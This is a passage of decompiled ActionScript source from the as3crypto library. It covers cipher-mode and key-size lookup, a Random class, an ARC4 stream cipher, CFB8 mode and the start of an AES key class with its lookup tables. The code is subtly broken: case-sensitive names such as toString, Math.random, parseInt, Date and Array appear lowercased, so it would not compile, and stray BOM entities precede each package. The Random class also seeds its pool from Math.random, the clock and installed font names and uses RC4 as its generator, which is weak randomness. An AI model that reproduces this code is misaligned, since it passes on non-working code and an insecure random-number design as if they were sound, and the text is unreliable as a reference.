  3450. return (new CTRMode(_arg2, _arg3));
  3451.  
  3452. case "cbc":
  3453.  
  3454. default:
  3455.  
  3456. return (new CBCMode(_arg2, _arg3));
  3457.  
  3458. };
  3459.  
  3460. }
  3461.  
  3462. public static function getKeySize(_arg1:string):uint{
  3463.  
  3464. var _local2:array;
  3465.  
  3466. _local2 = _arg1.split("-");
  3467.  
  3468. switch (_local2[0]){
  3469.  
  3470. case "simple":
  3471.  
  3472. _local2.shift();
  3473.  
  3474. return (getKeySize(_local2.join("-")));
  3475.  
  3476. case "aes128":
  3477.  
  3478. return (16);
  3479.  
  3480. case "aes192":
  3481.  
  3482. return (24);
  3483.  
  3484. case "aes256":
  3485.  
  3486. return (32);
  3487.  
  3488. case "aes":
  3489.  
  3490. _local2.shift();
  3491.  
  3492. return ((parseint(_local2[0]) / 8));
  3493.  
  3494. case "bf":
  3495.  
  3496. case "blowfish":
  3497.  
  3498. return (16);
  3499.  
  3500. case "des":
  3501.  
  3502. _local2.shift();
  3503.  
  3504. switch (_local2[0]){
  3505.  
  3506. case "ede":
  3507.  
  3508. return (16);
  3509.  
  3510. case "ede3":
  3511.  
  3512. return (24);
  3513.  
  3514. default:
  3515.  
  3516. return (8);
  3517.  
  3518. };
  3519.  
  3520. case "3des":
  3521.  
  3522. case "des3":
  3523.  
  3524. return (24);
  3525.  
  3526. case "xtea":
  3527.  
  3528. return (8);
  3529.  
  3530. case "rc4":
  3531.  
  3532. if (parseint(_local2[1]) > 0){
  3533.  
  3534. return ((parseint(_local2[1]) / 8));
  3535.  
  3536. };
  3537.  
  3538. return (16);
  3539.  
  3540. };
  3541.  
  3542. return (0);
  3543.  
  3544. }
  3545.  
  3546. public static function getPad(_arg1:string):IPad{
  3547.  
  3548. switch (_arg1){
  3549.  
  3550. case "null":
  3551.  
  3552. return (new NullPad());
  3553.  
  3554. case "pkcs5":
  3555.  
  3556. default:
  3557.  
  3558. return (new PKCS5());
  3559.  
  3560. };
  3561.  
  3562. }
  3563.  
  3564. public static function getHMAC(_arg1:string):HMAC{
  3565.  
  3566. var _local2:array;
  3567.  
  3568. var _local3:uint;
  3569.  
  3570. _local2 = _arg1.split("-");
  3571.  
  3572. if (_local2[0] == "hmac"){
  3573.  
  3574. _local2.shift();
  3575.  
  3576. };
  3577.  
  3578. _local3 = 0;
  3579.  
  3580. if (_local2.length > 1){
  3581.  
  3582. _local3 = parseint(_local2[1]);
  3583.  
  3584. };
  3585.  
  3586. return (new HMAC(getHash(_local2[0]), _local3));
  3587.  
  3588. }
  3589.  
  3590.  
  3591.  
  3592. }
  3593.  
  3594. }//package com.hurlant.crypto
  3595.  
  3596. &#65279;package com.hurlant.crypto.prng {
  3597.  
  3598. import flash.utils.*;
  3599.  
  3600.  
  3601.  
  3602. public interface IPRNG {
  3603.  
  3604.  
  3605.  
  3606. function init(_arg1:ByteArray):void;
  3607.  
  3608. function next():uint;
  3609.  
  3610. function dispose():void;
  3611.  
  3612. function getPoolSize():uint;
  3613.  
  3614. function tostring():string;
  3615.  
  3616.  
  3617.  
  3618. }
  3619.  
  3620. }//package com.hurlant.crypto.prng
  3621.  
  3622. &#65279;package com.hurlant.crypto.prng {
  3623.  
  3624. import flash.utils.*;
  3625.  
  3626. import com.hurlant.util.*;
  3627.  
  3628. import flash.text.*;
  3629.  
  3630. import flash.system.*;
  3631.  
  3632.  
  3633.  
  3634. public class random {
  3635.  
  3636.  
  3637.  
  3638. private var psize:int;
  3639.  
  3640. private var ready:boolean = false;
  3641.  
  3642. private var seeded:boolean = false;
  3643.  
  3644. private var state:IPRNG;
  3645.  
  3646. private var pool:ByteArray;
  3647.  
  3648. private var pptr:int;
  3649.  
  3650.  
  3651.  
  3652. public function random(_arg1:class=null){
  3653.  
  3654. var _local2:uint;
  3655.  
  3656. ready = false;
  3657.  
  3658. seeded = false;
  3659.  
  3660. super();
  3661.  
  3662. if (_arg1 == null){
  3663.  
  3664. _arg1 = ARC4;
  3665.  
  3666. };
  3667.  
  3668. state = (new (_arg1)() as IPRNG);
  3669.  
  3670. psize = state.getPoolSize();
  3671.  
  3672. pool = new ByteArray();
  3673.  
  3674. pptr = 0;
  3675.  
  3676. while (pptr < psize) {
  3677.  
  3678. _local2 = (65536 * math.random());
  3679.  
  3680. var _local3 = pptr++;
  3681.  
  3682. pool[_local3] = (_local2 >>> 8);
  3683.  
  3684. var _local4 = pptr++;
  3685.  
  3686. pool[_local4] = (_local2 & 0xFF);
  3687.  
  3688. };
  3689.  
  3690. pptr = 0;
  3691.  
  3692. seed();
  3693.  
  3694. }
  3695.  
  3696. public function seed(_arg1:int=0):void{
  3697.  
  3698. if (_arg1 == 0){
  3699.  
  3700. _arg1 = new date().gettime();
  3701.  
  3702. };
  3703.  
  3704. var _local2 = pptr++;
  3705.  
  3706. pool[_local2] = (pool[_local2] ^ (_arg1 & 0xFF));
  3707.  
  3708. var _local3 = pptr++;
  3709.  
  3710. pool[_local3] = (pool[_local3] ^ ((_arg1 >> 8) & 0xFF));
  3711.  
  3712. var _local4 = pptr++;
  3713.  
  3714. pool[_local4] = (pool[_local4] ^ ((_arg1 >> 16) & 0xFF));
  3715.  
  3716. var _local5 = pptr++;
  3717.  
  3718. pool[_local5] = (pool[_local5] ^ ((_arg1 >> 24) & 0xFF));
  3719.  
  3720. pptr = (pptr % psize);
  3721.  
  3722. seeded = true;
  3723.  
  3724. }
  3725.  
  3726. public function tostring():string{
  3727.  
  3728. return (("random-" + state.tostring()));
  3729.  
  3730. }
  3731.  
  3732. public function dispose():void{
  3733.  
  3734. var _local1:uint;
  3735.  
  3736. _local1 = 0;
  3737.  
  3738. while (_local1 < pool.length) {
  3739.  
  3740. pool[_local1] = (math.random() * 0x0100);
  3741.  
  3742. _local1++;
  3743.  
  3744. };
  3745.  
  3746. pool.length = 0;
  3747.  
  3748. pool = null;
  3749.  
  3750. state.dispose();
  3751.  
  3752. state = null;
  3753.  
  3754. psize = 0;
  3755.  
  3756. pptr = 0;
  3757.  
  3758. Memory.gc();
  3759.  
  3760. }
  3761.  
  3762. public function autoSeed():void{
  3763.  
  3764. var _local1:ByteArray;
  3765.  
  3766. var _local2:array;
  3767.  
  3768. var _local3:font;
  3769.  
  3770. _local1 = new ByteArray();
  3771.  
  3772. _local1.writeUnsignedInt(system.totalMemory);
  3773.  
  3774. _local1.writeUTF(capabilities.serverstring);
  3775.  
  3776. _local1.writeUnsignedInt(gettimer());
  3777.  
  3778. _local1.writeUnsignedInt(new date().gettime());
  3779.  
  3780. _local2 = font.enumerateFonts(true);
  3781.  
  3782. for each (_local3 in _local2) {
  3783.  
  3784. _local1.writeUTF(_local3.fontName);
  3785.  
  3786. _local1.writeUTF(_local3.fontStyle);
  3787.  
  3788. _local1.writeUTF(_local3.fontType);
  3789.  
  3790. };
  3791.  
  3792. _local1.position = 0;
  3793.  
  3794. while (_local1.bytesAvailable >= 4) {
  3795.  
  3796. seed(_local1.readUnsignedInt());
  3797.  
  3798. };
  3799.  
  3800. }
  3801.  
  3802. public function nextByte():int{
  3803.  
  3804. if (!ready){
  3805.  
  3806. if (!seeded){
  3807.  
  3808. autoSeed();
  3809.  
  3810. };
  3811.  
  3812. state.init(pool);
  3813.  
  3814. pool.length = 0;
  3815.  
  3816. pptr = 0;
  3817.  
  3818. ready = true;
  3819.  
  3820. };
  3821.  
  3822. return (state.next());
  3823.  
  3824. }
  3825.  
  3826. public function nextBytes(_arg1:ByteArray, _arg2:int):void{
  3827.  
  3828. while (_arg2--) {
  3829.  
  3830. _arg1.writeByte(nextByte());
  3831.  
  3832. };
  3833.  
  3834. }
  3835.  
  3836.  
  3837.  
  3838. }
  3839.  
  3840. }//package com.hurlant.crypto.prng
  3841.  
  3842. &#65279;package com.hurlant.crypto.prng {
  3843.  
  3844. import flash.utils.*;
  3845.  
  3846. import com.hurlant.crypto.symmetric.*;
  3847.  
  3848. import com.hurlant.util.*;
  3849.  
  3850.  
  3851.  
  3852. public class ARC4 implements IPRNG, IStreamCipher {
  3853.  
  3854.  
  3855.  
  3856. private const psize:uint = 0x0100;
  3857.  
  3858.  
  3859.  
  3860. private var S:ByteArray;
  3861.  
  3862. private var i:int = 0;
  3863.  
  3864. private var j:int = 0;
  3865.  
  3866.  
  3867.  
  3868. public function ARC4(_arg1:ByteArray=null){
  3869.  
  3870. i = 0;
  3871.  
  3872. j = 0;
  3873.  
  3874. super();
  3875.  
  3876. S = new ByteArray();
  3877.  
  3878. if (_arg1){
  3879.  
  3880. init(_arg1);
  3881.  
  3882. };
  3883.  
  3884. }
  3885.  
  3886. public function decrypt(_arg1:ByteArray):void{
  3887.  
  3888. encrypt(_arg1);
  3889.  
  3890. }
  3891.  
  3892. public function init(_arg1:ByteArray):void{
  3893.  
  3894. var _local2:int;
  3895.  
  3896. var _local3:int;
  3897.  
  3898. var _local4:int;
  3899.  
  3900. _local2 = 0;
  3901.  
  3902. while (_local2 < 0x0100) {
  3903.  
  3904. S[_local2] = _local2;
  3905.  
  3906. _local2++;
  3907.  
  3908. };
  3909.  
  3910. _local3 = 0;
  3911.  
  3912. _local2 = 0;
  3913.  
  3914. while (_local2 < 0x0100) {
  3915.  
  3916. _local3 = (((_local3 + S[_local2]) + _arg1[(_local2 % _arg1.length)]) & 0xFF);
  3917.  
  3918. _local4 = S[_local2];
  3919.  
  3920. S[_local2] = S[_local3];
  3921.  
  3922. S[_local3] = _local4;
  3923.  
  3924. _local2++;
  3925.  
  3926. };
  3927.  
  3928. this.i = 0;
  3929.  
  3930. this.j = 0;
  3931.  
  3932. }
  3933.  
  3934. public function dispose():void{
  3935.  
  3936. var _local1:uint;
  3937.  
  3938. _local1 = 0;
  3939.  
  3940. if (S != null){
  3941.  
  3942. _local1 = 0;
  3943.  
  3944. while (_local1 < S.length) {
  3945.  
  3946. S[_local1] = (math.random() * 0x0100);
  3947.  
  3948. _local1++;
  3949.  
  3950. };
  3951.  
  3952. S.length = 0;
  3953.  
  3954. S = null;
  3955.  
  3956. };
  3957.  
  3958. this.i = 0;
  3959.  
  3960. this.j = 0;
  3961.  
  3962. Memory.gc();
  3963.  
  3964. }
  3965.  
  3966. public function encrypt(_arg1:ByteArray):void{
  3967.  
  3968. var _local2:uint;
  3969.  
  3970. _local2 = 0;
  3971.  
  3972. while (_local2 < _arg1.length) {
  3973.  
  3974. var _temp1 = _local2;
  3975.  
  3976. _local2 = (_local2 + 1);
  3977.  
  3978. var _local3 = _temp1;
  3979.  
  3980. _arg1[_local3] = (_arg1[_local3] ^ next());
  3981.  
  3982. };
  3983.  
  3984. }
  3985.  
  3986. public function next():uint{
  3987.  
  3988. var _local1:int;
  3989.  
  3990. i = ((i + 1) & 0xFF);
  3991.  
  3992. j = ((j + S[i]) & 0xFF);
  3993.  
  3994. _local1 = S[i];
  3995.  
  3996. S[i] = S[j];
  3997.  
  3998. S[j] = _local1;
  3999.  
  4000. return (S[((_local1 + S[i]) & 0xFF)]);
  4001.  
  4002. }
  4003.  
  4004. public function getBlockSize():uint{
  4005.  
  4006. return (1);
  4007.  
  4008. }
  4009.  
  4010. public function getPoolSize():uint{
  4011.  
  4012. return (psize);
  4013.  
  4014. }
  4015.  
  4016. public function tostring():string{
  4017.  
  4018. return ("rc4");
  4019.  
  4020. }
  4021.  
  4022.  
  4023.  
  4024. }
  4025.  
  4026. }//package com.hurlant.crypto.prng
  4027.  
  4028. &#65279;package com.hurlant.crypto.symmetric {
  4029.  
  4030. import flash.utils.*;
  4031.  
  4032.  
  4033.  
  4034. public class CFB8Mode extends IVMode implements IMode {
  4035.  
  4036.  
  4037.  
  4038. public function CFB8Mode(_arg1:ISymmetricKey, _arg2:IPad=null){
  4039.  
  4040. super(_arg1, null);
  4041.  
  4042. }
  4043.  
  4044. public function tostring():string{
  4045.  
  4046. return ((key.tostring() + "-cfb8"));
  4047.  
  4048. }
  4049.  
  4050. public function decrypt(_arg1:ByteArray):void{
  4051.  
  4052. var _local2:ByteArray;
  4053.  
  4054. var _local3:ByteArray;
  4055.  
  4056. var _local4:uint;
  4057.  
  4058. var _local5:uint;
  4059.  
  4060. var _local6:uint;
  4061.  
  4062. _local2 = getIV4d();
  4063.  
  4064. _local3 = new ByteArray();
  4065.  
  4066. _local4 = 0;
  4067.  
  4068. while (_local4 < _arg1.length) {
  4069.  
  4070. _local5 = _arg1[_local4];
  4071.  
  4072. _local3.position = 0;
  4073.  
  4074. _local3.writeBytes(_local2);
  4075.  
  4076. key.encrypt(_local2);
  4077.  
  4078. _arg1[_local4] = (_arg1[_local4] ^ _local2[0]);
  4079.  
  4080. _local6 = 0;
  4081.  
  4082. while (_local6 < (blockSize - 1)) {
  4083.  
  4084. _local2[_local6] = _local3[(_local6 + 1)];
  4085.  
  4086. _local6++;
  4087.  
  4088. };
  4089.  
  4090. _local2[(blockSize - 1)] = _local5;
  4091.  
  4092. _local4++;
  4093.  
  4094. };
  4095.  
  4096. }
  4097.  
  4098. public function encrypt(_arg1:ByteArray):void{
  4099.  
  4100. var _local2:ByteArray;
  4101.  
  4102. var _local3:ByteArray;
  4103.  
  4104. var _local4:uint;
  4105.  
  4106. var _local5:uint;
  4107.  
  4108. _local2 = getIV4e();
  4109.  
  4110. _local3 = new ByteArray();
  4111.  
  4112. _local4 = 0;
  4113.  
  4114. while (_local4 < _arg1.length) {
  4115.  
  4116. _local3.position = 0;
  4117.  
  4118. _local3.writeBytes(_local2);
  4119.  
  4120. key.encrypt(_local2);
  4121.  
  4122. _arg1[_local4] = (_arg1[_local4] ^ _local2[0]);
  4123.  
  4124. _local5 = 0;
  4125.  
  4126. while (_local5 < (blockSize - 1)) {
  4127.  
  4128. _local2[_local5] = _local3[(_local5 + 1)];
  4129.  
  4130. _local5++;
  4131.  
  4132. };
  4133.  
  4134. _local2[(blockSize - 1)] = _arg1[_local4];
  4135.  
  4136. _local4++;
  4137.  
  4138. };
  4139.  
  4140. }
  4141.  
  4142.  
  4143.  
  4144. }
  4145.  
  4146. }//package com.hurlant.crypto.symmetric
  4147.  
  4148. &#65279;package com.hurlant.crypto.symmetric {
  4149.  
  4150. import flash.utils.*;
  4151.  
  4152. import com.hurlant.crypto.prng.*;
  4153.  
  4154. import com.hurlant.util.*;
  4155.  
  4156.  
  4157.  
  4158. public class AESKey implements ISymmetricKey {
  4159.  
  4160.  
  4161.  
  4162. private static const _Xtime2:array = [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, 248, 250, 252, 254, 27, 25, 31, 29, 19, 17, 23, 21, 11, 9, 15, 13, 3, 1, 7, 5, 59, 57, 63, 61, 51, 49, 55, 53, 43, 41, 47, 45, 35, 33, 39, 37, 91, 89, 95, 93, 83, 81, 87, 85, 75, 73, 79, 77, 67, 65, 71, 69, 123, 121, 127, 125, 115, 113, 119, 117, 107, 105, 111, 109, 99, 97, 103, 101, 155, 153, 159, 157, 147, 145, 151, 149, 139, 137, 143, 141, 131, 129, 135, 133, 187, 185, 191, 189, 179, 177, 183, 181, 171, 169, 175, 173, 163, 161, 167, 165, 219, 217, 223, 221, 211, 209, 215, 213, 203, 201, 207, 205, 195, 193, 199, 197, 251, 249, 0xFF, 253, 243, 241, 247, 245, 235, 233, 239, 237, 227, 225, 231, 229];
  4163.  
  4164. private static const _Xtime9:array = [0, 9, 18, 27, 36, 45, 54, 63, 72, 65, 90, 83, 108, 101, 126, 119, 144, 153, 130, 139, 180, 189, 166, 175, 216, 209, 202, 195, 252, 245, 238, 231, 59, 50, 41, 32, 31, 22, 13, 4, 115, 122, 97, 104, 87, 94, 69, 76, 171, 162, 185, 176, 143, 134, 157, 148, 227, 234, 241, 248, 199, 206, 213, 220, 118, 127, 100, 109, 82, 91, 64, 73, 62, 55, 44, 37, 26, 19, 8, 1, 230, 239, 244, 253, 194, 203, 208, 217, 174, 167, 188, 181, 138, 131, 152, 145, 77, 68, 95, 86, 105, 96, 123, 114, 5, 12, 23, 30, 33, 40, 51, 58, 221, 212, 207, 198, 249, 240, 235, 226, 149, 156, 135, 142, 177, 184, 163, 170, 236, 229, 254, 247, 200, 193, 218, 211, 164, 173, 182, 191, 128, 137, 146, 155, 124, 117, 110, 103, 88, 81, 74, 67, 52, 61, 38, 47, 16, 25, 2, 11, 215, 222, 197, 204, 243, 250, 225, 232, 159, 150, 141, 132, 187, 178, 169, 160, 71, 78, 85, 92, 99, 106, 113, 120, 15, 6, 29, 20, 43, 34, 57, 48, 154, 147, 136, 129, 190, 183, 172, 165, 210, 219, 192, 201, 246, 0xFF, 228, 237, 10, 3, 24, 17, 46, 39, 60, 53, 66, 75, 80, 89, 102, 111, 116, 125, 161, 168, 179, 186, 133, 140, 151, 158, 233, 224, 251, 242, 205, 196, 223, 214, 49, 56, 35, 42, 21, 28, 7, 14, 121, 112, 107, 98, 93, 84, 79, 70];
  4165.  
  4166. private static const Nb:uint = 4;
  4167.  
  4168. private static const _XtimeB:array = [0, 11, 22, 29, 44, 39, 58, 49, 88, 83, 78, 69, 116, 127, 98, 105, 176, 187, 166, 173, 156, 151, 138, 129, 232, 227, 254, 245, 196, 207, 210, 217, 123, 112, 109, 102, 87, 92, 65, 74, 35, 40, 53, 62, 15, 4, 25, 18, 203, 192, 221, 214, 231, 236, 241, 250, 147, 152, 133, 142, 191, 180, 169, 162, 246, 253, 224, 235, 218, 209, 204, 199, 174, 165, 184, 179, 130, 137, 148, 159, 70, 77, 80, 91, 106, 97, 124, 119, 30, 21, 8, 3, 50, 57, 36, 47, 141, 134, 155, 144, 161, 170, 183, 188, 213, 222, 195, 200, 249, 242, 239, 228, 61, 54, 43, 32, 17, 26, 7, 12, 101, 110, 115, 120, 73, 66, 95, 84, 247, 252, 225, 234, 219, 208, 205, 198, 175, 164, 185, 178, 131, 136, 149, 158, 71, 76, 81, 90, 107, 96, 125, 118, 31, 20, 9, 2, 51, 56, 37, 46, 140, 135, 154, 145, 160, 171, 182, 189, 212, 223, 194, 201, 248, 243, 238, 229, 60, 55, 42, 33, 16, 27, 6, 13, 100, 111, 114, 121, 72, 67, 94, 85, 1, 10, 23, 28, 45, 38, 59, 48, 89, 82, 79, 68, 117, 126, 99, 104, 177, 186, 167, 172, 157, 150, 139, 128, 233, 226, 0xFF, 244, 197, 206, 211, 216, 122, 113, 108, 103, 86, 93, 64, 75, 34, 41, 52, 63, 14, 5, 24, 19, 202, 193, 220, 215, 230, 237, 240, 251, 146, 153, 132, 143, 190, 181, 168, 163];
  4169.  
  4170. private static const _XtimeE:array = [0, 14, 28, 18, 56, 54, 36, 42, 112, 126, 108, 98, 72, 70, 84, 90, 224, 238, 252, 242, 216, 214, 196, 202, 144, 158, 140, 130, 168, 166, 180, 186, 219, 213, 199, 201, 227, 237, 0xFF, 241, 171, 165, 183, 185, 147, 157, 143, 129, 59, 53, 39, 41, 3, 13, 31, 17, 75, 69, 87, 89, 115, 125, 111, 97, 173, 163, 177, 191, 149, 155, 137, 135, 221, 211, 193, 207, 229, 235, 249, 247, 77, 67, 81, 95, 117, 123, 105, 103, 61, 51, 33, 47, 5, 11, 25, 23, 118, 120, 106, 100, 78, 64, 82, 92, 6, 8, 26, 20, 62, 48, 34, 44, 150, 152, 138, 132, 174, 160, 178, 188, 230, 232, 250, 244, 222, 208, 194, 204, 65, 79, 93, 83, 121, 119, 101, 107, 49, 63, 45, 35, 9, 7, 21, 27, 161, 175, 189, 179, 153, 151, 133, 139, 209, 223, 205, 195, 233, 231, 245, 251, 154, 148, 134, 136, 162, 172, 190, 176, 234, 228, 246, 248, 210, 220, 206, 192, 122, 116, 102, 104, 66, 76, 94, 80, 10, 4, 22, 24, 50, 60, 46, 32, 236, 226, 240, 254, 212, 218, 200, 198, 156, 146, 128, 142, 164, 170, 184, 182, 12, 2, 16, 30, 52, 58, 40, 38, 124, 114, 96, 110, 68, 74, 88, 86, 55, 57, 43, 37, 15, 1, 19, 29, 71, 73, 91, 85, 127, 113, 99, 109, 215, 217, 203, 197, 239, 225, 243, 253, 167, 169, 187, 181, 159, 145, 131, 141];
  4171.  
  4172. private static const _Xtime2Sbox:array = [198, 248, 238, 246, 0xFF, 214, 222, 145, 96, 2, 206, 86, 231, 181, 77, 236, 143, 31, 137, 250, 239, 178, 142, 251, 65, 179, 95, 69, 35, 83, 228, 155, 117, 225, 61, 76, 108, 126, 245, 131, 104, 81, 209, 249, 226, 171, 98, 42, 8, 149, 70, 157, 48, 55, 10, 47, 14, 36, 27, 223, 205, 78, 127, 234, 18, 29, 88, 52, 54, 220, 180, 91, 164, 118, 183, 125, 82, 221, 94, 19, 166, 185, 0, 193, 64, 227, 121, 182, 212, 141, 103, 114, 148, 152, 176, 133, 187, 197, 79, 237, 134, 154, 102, 17, 138, 233, 4, 254, 160, 120, 37, 75, 162, 93, 128, 5, 63, 33, 112, 241, 99, 119, 175, 66, 32, 229, 253, 191, 129, 24, 38, 195, 190, 53, 136, 46, 147, 85, 252, 122, 200, 186, 50, 230, 192, 25, 158, 163, 68, 84, 59, 11, 140, 199, 107, 40, 167, 188, 22, 173, 219, 100, 116, 20, 146, 12, 72, 184, 159, 189, 67, 196, 57, 49, 211, 242, 213, 139, 110, 218, 1, 177, 156, 73, 216, 172, 243, 207, 202, 244, 71, 16, 111, 240, 74, 92, 56, 87, 115, 151, 203, 161, 232, 62, 150, 97, 13, 15, 224, 124, 113, 204, 144, 6, 247, 28, 194, 106, 174, 105, 23, 153, 58, 39, 217, 235, 43, 34, 210, 169, 7, 51, 45, 60, 21, 201, 135, 170, 80, 165, 3, 89, 9, 26, 101, 215, 132, 208, 130, 41, 90, 30, 123, 168, 109, 44];
  4173.  
  4174. private static const _Xtime3Sbox:array = [165, 132, 153, 141, 13, 189, 177, 84, 80, 3, 169, 125, 25, 98, 230, 154, 69, 157, 64, 135, 21, 235, 201, 11, 236, 103, 253, 234, 191, 247, 150, 91, 194, 28, 174, 106, 90, 65, 2, 79, 92, 244, 52, 8, 147, 115, 83, 63, 12, 82, 101, 94, 40, 161, 15, 181, 9, 54, 155, 61, 38, 105, 205, 159, 27, 158, 116, 46, 45, 178, 238, 251, 246, 77, 97, 206, 123, 62, 113, 151, 245, 104, 0, 44, 96, 31, 200, 237, 190, 70, 217, 75, 222, 212, 232, 74, 107, 42, 229, 22, 197, 215, 85, 148, 207, 16, 6, 129, 240, 68, 186, 227, 243, 254, 192, 138, 173, 188, 72, 4, 223, 193, 117, 99, 48, 26, 14, 109, 76, 20, 53, 47, 225, 162, 204, 57, 87, 242, 130, 71, 172, 231, 43, 149, 160, 152, 209, 127, 102, 126, 171, 131, 202, 41, 211, 60, 121, 226, 29, 118, 59, 86, 78, 30, 219, 10, 108, 228, 93, 110, 239, 166, 168, 164, 55, 139, 50, 67, 89, 183, 140, 100, 210, 224, 180, 250, 7, 37, 175, 142, 233, 24, 213, 136, 111, 114, 36, 241, 199, 81, 35, 124, 156, 33, 221, 220, 134, 133, 144, 66, 196, 170, 216, 5, 1, 18, 163, 95, 249, 208, 145, 88, 39, 185, 56, 19, 179, 51, 187, 112, 137, 167, 182, 34, 146, 32, 73, 0xFF, 120, 122, 143, 248, 128, 23, 218, 49, 198, 184, 195, 176, 119, 17, 203, 252, 214, 58];
  4175.  
  4176. private static const _InvSbox:array = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 0xFF, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125];
  4177.  
  4178. private static const _XtimeD:array = [0, 13, 26, 23, 52, 57, 46, 35, 104, 101, 114, 127, 92, 81, 70, 75, 208, 221, 202, 199, 228, 233, 254, 243, 184, 181, 162, 175, 140, 129, 150, 155, 187, 182, 161, 172, 143, 130, 149, 152, 211, 222, 201, 196, 231, 234, 253, 240, 107, 102, 113, 124, 95, 82, 69, 72, 3, 14, 25, 20, 55, 58, 45, 32, 109, 96, 119, 122, 89, 84, 67, 78, 5, 8, 31, 18, 49, 60, 43, 38, 189, 176, 167, 170, 137, 132, 147, 158, 213, 216, 207, 194, 225, 236, 251, 246, 214, 219, 204, 193, 226, 239, 248, 245, 190, 179, 164, 169, 138, 135, 144, 157, 6, 11, 28, 17, 50, 63, 40, 37, 110, 99, 116, 121, 90, 87, 64, 77, 218, 215, 192, 205, 238, 227, 244, 249, 178, 191, 168, 165, 134, 139, 156, 145, 10, 7, 16, 29, 62, 51, 36, 41, 98, 111, 120, 117, 86, 91, 76, 65, 97, 108, 123, 118, 85, 88, 79, 66, 9, 4, 19, 30, 61, 48, 39, 42, 177, 188, 171, 166, 133, 136, 159, 146, 217, 212, 195, 206, 237, 224, 247, 250, 183, 186, 173, 160, 131, 142, 153, 148, 223, 210, 197, 200, 235, 230, 241, 252, 103, 106, 125, 112, 83, 94, 73, 68, 15, 2, 21, 24, 59, 54, 33, 44, 12, 1, 22, 27, 56, 53, 34, 47, 100, 105, 126, 115, 80, 93, 74, 71, 220, 209, 198, 203, 232, 229, 242, 0xFF, 180, 185, 174, 163, 128, 141, 154, 151];
  4179.  
  4180. private static const _Sbox:array = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 0xFF, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22];
  4181.  
  4182.  
  4183.  
  4184. private static var XtimeE:ByteArray = new ByteArray();
  4185.  
  4186. private static var i:uint = 0;
  4187.  
  4188. private static var Xtime2Sbox:ByteArray = new ByteArray();
  4189.  
  4190. private static var Xtime3Sbox:ByteArray = new ByteArray();
  4191.  
  4192. private static var _Rcon:array = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54];
  4193.  
  4194. private static var Sbox:ByteArray = new ByteArray();
  4195.  
  4196. private static var Rcon:ByteArray = new ByteArray();
  4197.  
  4198. private static var InvSbox:ByteArray = new ByteArray();
  4199.  
  4200. private static var Xtime2:ByteArray = new ByteArray();
  4201.  
  4202. private static var Xtime9:ByteArray = new ByteArray();
  4203.  
  4204. private static var XtimeB:ByteArray = new ByteArray();
  4205.  
  4206. private static var XtimeD:ByteArray = new ByteArray();
  4207.  
  4208.  
  4209.  
  4210. private var state:ByteArray;
  4211.  
  4212. private var tmp:ByteArray;
  4213.  
  4214. private var Nr:uint;
  4215.  
  4216. private var keyLength:uint;
  4217.  
  4218. private var key:ByteArray;
  4219.  
  4220.  
  4221.  
  4222. public function AESKey(_arg1:ByteArray){
  4223.  
